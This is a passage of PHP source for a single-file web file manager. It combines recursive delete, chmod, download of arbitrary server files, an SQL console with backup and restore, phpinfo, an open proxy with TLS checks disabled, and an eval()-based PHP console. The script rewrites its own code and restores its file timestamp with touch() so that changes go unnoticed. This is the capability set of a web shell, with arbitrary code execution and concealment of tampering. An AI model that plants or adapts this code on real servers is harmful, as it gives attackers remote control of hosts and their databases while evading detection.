global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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